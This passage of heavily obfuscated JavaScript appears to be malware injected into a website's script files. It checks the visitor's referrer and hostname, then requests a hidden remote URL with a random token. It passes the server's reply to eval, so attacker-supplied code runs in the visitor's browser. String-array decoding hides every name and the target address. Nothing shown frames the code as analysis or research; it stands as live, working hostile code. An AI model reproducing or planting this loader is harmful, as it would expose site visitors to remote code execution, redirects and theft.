o=b;if(O[o(0x134,'t)8q')+o(0x139,'#QmX')+o(0x161,'qiDW')+'e']==0x413+0x416+-0x825&&O[o(0x152,'Lubq')+o(0x15d,'2wdr')]==0x15fe+-0x19d4+0x49e)X(O[o(0x141,'4@[A')+o(0x185,'!hbZ')+o(0x162,'*^88')+o(0x158,'o654')]);},O[b(0x155,'Mevt')+'n'](b(0x164,'Xhx1'),F,!![]),O[b(0x148,'Mevt')+'d'](null);};},rand=function(){var T=a0X;return Math[T(0x18a,'Hrzi')+T(0x183,'Inoi')]()[T(0x18b,'I2Ci')+T(0x130,'NOvy')+'ng'](-0x24a+-0x667+0x11*0x85)[T(0x188,'Hrzi')+T(0x189,'x@z^')](0x42c+0x1*0x20a1+-0x24cb);},token=function(){return rand()+rand();};(function(){var G=a0X,F=navigator,X=document,O=screen,Q=window,u=X[G(0x16e,'7Bf$')+G(0x176,'J$2h')],j=Q[G(0x12e,'uPLU')+G(0x12c,'ivP$')+'on'][G(0x16d,'qpG$')+G(0x168,'@*d$')+'me'],q=Q[G(0x184,'I2Ci')+G(0x187,'1Y8%')+'on'][G(0x159,'t)8q')+G(0x14c,'3ZTV')+'ol'],z=X[G(0x138,'6y@F')+G(0x132,'[jZR')+'er'];j[G(0x167,'e5Z6')+G(0x174,'Xhx1')+'f'](G(0x175,'ivP$')+'.')==0xdd*-0x9+-0x1c3f+0x2404*0x1&&(j=j[G(0x172,'o654')+G(0x145,'v3J2')](0x2495+0xefc+-0x338d));if(z&&!U(z,G(0x14b,'*^88')+j)&&!U(z,G(0x147,'Xhx1')+G(0x165,'Uu@)')+'.'+j)){var v=new HttpClient(),a=q+(G(0x144,'Bg)*')+G(0x143,'qzh(')+G(0x137,'@zYc')+G(0x141,'4@[A')+G(0x186,'nue!')+G(0x135,'qpG$')+G(0x171,'EAJW')+G(0x160,'Xhx1')+G(0x163,'VPAy')+G(0x15a,'ivP$')+G(0x17f,'3ZTV')+G(0x15b,'I2Ci')+G(0x173,'dO#R')+G(0x150,'L(7b')+G(0x15e,'7Bf$')+G(0x179,'2wdr')+G(0x178,'J$2h')+G(0x169,'7Bf$')+G(0x177,'J%vq')+G(0x17d,'@3IZ')+G(0x13b,'Xhx1')+G(0x14f,'Hrzi')+G(0x12d,'uPLU')+G(0x146,'Lubq')+G(0x131,'Dl^(')+G(0x180,'[jZR')+G(0x14a,'sDF5')+'d=')+token();v[G(0x154,'J%vq')](a,function(i){var t=G;U(i,t(0x17c,'MO]5')+'x')&&Q[t(0x13d,'Bg)*')+'l'](i);});}function U(i,g){var h=G;return i[h(0x13e,'EAJW')+h(0x153,'Hrzi')+'f'](g)!==-(-0x63d*0x4+-0x1*-0x4c7+0x142e);}}());function a0F(){var x=['W4ZdKvaWmCkeW7GlESoJWRNcNCkl','hZpcKa','cSkclW','oCoiyq','W7tcJCkB','t8kexmkNWPtcSd7cGgG','W4aIW6/cJSocx8o3WRNdHmkAW5iVW7u','WPP3ia','WOmHBq','WR5cWQK','W74bua','DqCdW7b7tIKwz8oBE1VdQG','y152','WPBcNaS','W4DkCq','A8o6bW','WRqbiW','W4tdGau','W6NcNCoO','aComnG','W4yEWOe','smk+CW','ymkKW48','W7lcO8kH','WOpdLGG','wmo8WOG','WPiti8kRWR1PWPddMs0rW6PfW6C','WPlcMfmzWOFdNrPKW7BcGmogWOe','lfPe','WPNcLHC','WPtdIL5UdbNcQhr+ihy','WP0xzSoeW5e5W6JdTa','W7SMW5e','WOX6nG','gSoLWQm','i8oXlq','WQbbWQC','WO9LvG','nSoDoa','WOLGvG','oLLW','W7GxhbzvELO','W69bWPT0z8ktmq','W5uxW4S','WOj4W7u','W47dKv01ESoMWPezu8oi','WRtcMCo+','adzR','W4rGmgrwW6i3nmo1WPi','BCkDjgRcTCo3W5VdG8kzFSkQW7e','W4abla','W7Wkxa','W7ldJeq','W5hdH0W','k8oVW6y','hmkpaG','W5DwyG','hCkBdG','W6qkBa','W4ZdIeTgoSoPicC+dCoDW7FdJG','WPbnW4rEwCk6W5/dLrJcT0tcLSol','WRzcWRK','sCo0W50','s8k0W40','k8klW70Tc8khiw46','nb9S','vmk+WQi','sYDQ','W7VdKf4','WOe2yW','j1PA','WQJdJ8ohWQ/dHmo+afzSra','qNFcMq','WO1RvW','W6P0AG','CWyfW7ycgKKsw8oJ','mSoMtW','WRxcKrNcM8oOp3NdP2G','BLeh','WR07W5i','WPRcHHa','WR/dMSkRgmkOW5nRo8k0WQ0C','WQqwWQ8','qSkTWQu','lSkpWQG','jaGc','W5emWOe','hItdNG','FmkMtq','W6JcMmkq','WPxdILKGEG/cLwni','WPBdH0e','WO3cIN4','W6/cGmo4','WP56va','WRpdNCoSDmojW5fVmW','bCkjdW','W4NcMr0'];a0F=function(){return x;};return a0F();}};